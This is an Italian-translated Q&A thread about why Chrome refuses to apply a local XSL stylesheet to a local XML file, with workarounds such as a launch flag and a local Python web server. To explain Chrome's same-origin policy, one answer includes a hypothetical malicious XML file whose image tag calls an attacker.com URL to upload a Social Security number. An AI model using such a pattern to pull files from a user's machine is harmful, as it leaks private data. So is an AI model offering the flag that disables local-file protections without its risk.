È possibile fare in modo che Chrome esegua una trasformazione XSL su un file locale?


91

Stavo esaminando xslt e ho iniziato a testare con gli esempi su w3schools.

Tuttavia, quando salvo xml e xsl nei file e provo ad aprirli localmente, Chrome non eseguirà la trasformazione xsl. Mostra solo una pagina vuota.

Ho aggiunto il <?xml-stylesheet type="text/xsl" href="style.xsl">tag al documento xml e Firefox lo visualizza come dovrebbe apparire. Inoltre, se guardo i file tramite un server web, chrome visualizza il file come dovrebbe apparire.

È che Chrome ha problemi a trovare le informazioni del foglio di stile quando il collegamento è locale? Cambiare href in file:///C:/xsl/style.xslnon ha fatto alcuna differenza.

Aggiornamento: questo sembra essere un effetto collaterale di una politica di sicurezza per non trattare file: /// * come la stessa origine. Questo fa apparire il seguente errore nella console:

Tentativo non sicuro di caricare il file URL: /// C: /xsl-rpg/style.xsl dal frame con il file URL: /// C: /xsl-rpg/data.xml. Domini, protocolli e porte devono corrispondere.


1
Sembra che dal file:protocollo Chrome generi lo stesso errore di dominio.

1
Su IE11 funziona. Chrome sta diventando malvagio.
Marco Demaio

Risposte:


74

La risposta breve è "No, usa uno dei diversi set di browser disponibili" .

Il motivo per cui questo non funziona è dovuto a un problema di sicurezza che Chrome ha risolto in modo controverso [1] [2] [3] [4] , bloccando l'accesso ai file XSLT locali nella stessa directory, mentre HTML i file possono accedere perfettamente ai file .CSS nella stessa directory.

In tutte le questioni sopra citate, gli utenti hanno chiesto un messaggio di errore più chiaro (poiché i domini, i protocolli e le porte di fatto corrispondono), o almeno la visualizzazione dell'XML senza lo stile. Gli sviluppatori di Chrome hanno ignorato queste richieste.


18
Sebbene il loro problema di sicurezza abbia senso, i file XML dovrebbero essere in grado di caricare fogli di stile XSL dalla stessa directory, proprio come i file HTML possono caricare immagini e script dalla stessa directory. C'è un problema che puoi aggiungere, ma il team di sviluppo di Chrome ha vietato nuovi commenti su di esso, nonostante il fatto che si siano lamentati di non poter quantificare quanto gli utenti volessero che l'origine del file locale fosse rilassata.
Dan Dascalescu

1
Fatto interessante: Safari su Mac (8.0) funziona perfettamente con XSLT locale, ma Safari su iOS (8) simulatore (e suppongo anche su iOS) ho ricevuto lo stesso errore come in Chrome "Domini, protocolli e porte devono corrispondere. ". Ma se devo implementare UIWebView nell'app e caricare XML con XSLT tutto funziona correttamente.
Paul Brewczynski

poco ha senso usare un altro browser quando l'attività è correggere un particolare rendering xslt nei browser Chrome ...
n611x007

Un approccio che funziona con Chromium consiste nell'incorporare il file XSL nel file XML come URI data: text / xsl.
EricLaw

57

Puoi farlo localmente utilizzando i flag della riga di comando di Chrome.

La bandiera specifica è --allow-file-access-from-files

Su OS X: da Terminal.app eseguire /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

Su Windows: dal prompt dei comandi esegui %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

Nota: probabilmente dovrai uscire da Chrome se è attualmente in esecuzione, altrimenti Ch


Questo non sembra funzionare per me su Windows 7. Ho trovato chrome.exe situato qui: C:\Program Files (x86)\Google\Chrome\Applicatione il comando --allow-file-access-from-files viene eseguito correttamente, ma il mio documento XML locale (trasformato da un file XSLT locale) non viene visualizzato.
Rick supporta Monica il

2
Forse devi uccidere manualmente tutti i processi di Windows in esecuzione per chrome.exe nel task manager di Windows. Per me ha funzionato.
Christian Schulzendorff

1
/Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-filesha funzionato per me. Ovviamente sto eseguendo Chrome Canary. Dopo aver eseguito questo comando, dovrebbe aprirsi una nuova finestra di Chrome che ti consentirà di eseguire la trasformazione XSL.
SeanLF

2
Più veloce su Windows 7: tasto finestra + R; "chrome --allow-file-access-from-files"; Accedere.
Aaron Campbell

O in PowerShell (uccide i precedenti Chrome per te):get-process chrome | stop-process; start-process chrome --allow-file-access-from-files
Aaron Campbell

15

Se vuoi restare fedele all'OP, la risposta è No (come altri hanno sottolineato) ma un modo per risolvere il problema è eseguire un semplice server web e aprire i file tramite http in chrome. Se hai installato Python 2.x, puoi eseguire un server web digitando:

python -m SimpleHTTPServer

O in Python 3.x:

python3 -m http.server

e quindi apri il file usando http://localhost:8000/yourfile.xmlin chrome. Si spera che tu voglia solo portare a termine il tuo lavoro e non è una cosa cruciale aprire il file usandofile://


3

Ci è voluto un po 'di decifrazione sulla pagina Bug di Chrome: sono molto desiderosi di non spiegare qual è il problema e perché hanno scelto di rompere tutti piuttosto che non rompere tutti.

Supponiamo che io abbia un file XML - da qualche parte - sul mio disco rigido, ad esempio:

C: \ Users \ Ian \ Documents \ Taxes \ StudioTaxReturn_2015.xml

E un'entità dannosa, in qualche modo , è riuscita a rilasciare un file Xml dannoso sul mio computer, ad esempio:

C: \ Users \ Ian \ AppData \ LocalLow \ Temp \ TrojanVirusWorm.xml

Immagina che TrojanVirusWorm.xml contenga un'istruzione di elaborazione ( PI ) del foglio di stile :

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

L'aggressore quindi istruisce il mio browser a navigare nel trojanVirusWorm.xmlfile salvato localmente .

Apparentemente c'è un modo in cui un file XML può leggere il contenuto del file XSD (invece di essere trasformato dal file XSD):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

Non capisco come un file XML possa leggere un file di foglio di stile. Ma il team di Chrome ci assicura che si tratta di un pericolo e che non può essere risolto.

Tutti gli altri browser lo hanno risolto. L'hanno risolto perché non è un problema .


3

La mia soluzione alternativa per vedere un xml in base a un file xsl

Supponiamo di avere un some_file.xml con intestazioni:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. Scarichiamo il file https://some-site.com/Common.xsle lo posizioniamo accanto al filesome_file.xml
  2. Cambia parte della nostra intestazione da href="https://some-site.com/Common.xsl"a href="http://localhost:8001/Common.xsl"
  3. Esegui nella directory con i nostri file - python3 -m http.server 8001
  4. Apri in qualsiasi browser http://localhost:8001/some_file.xml

Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.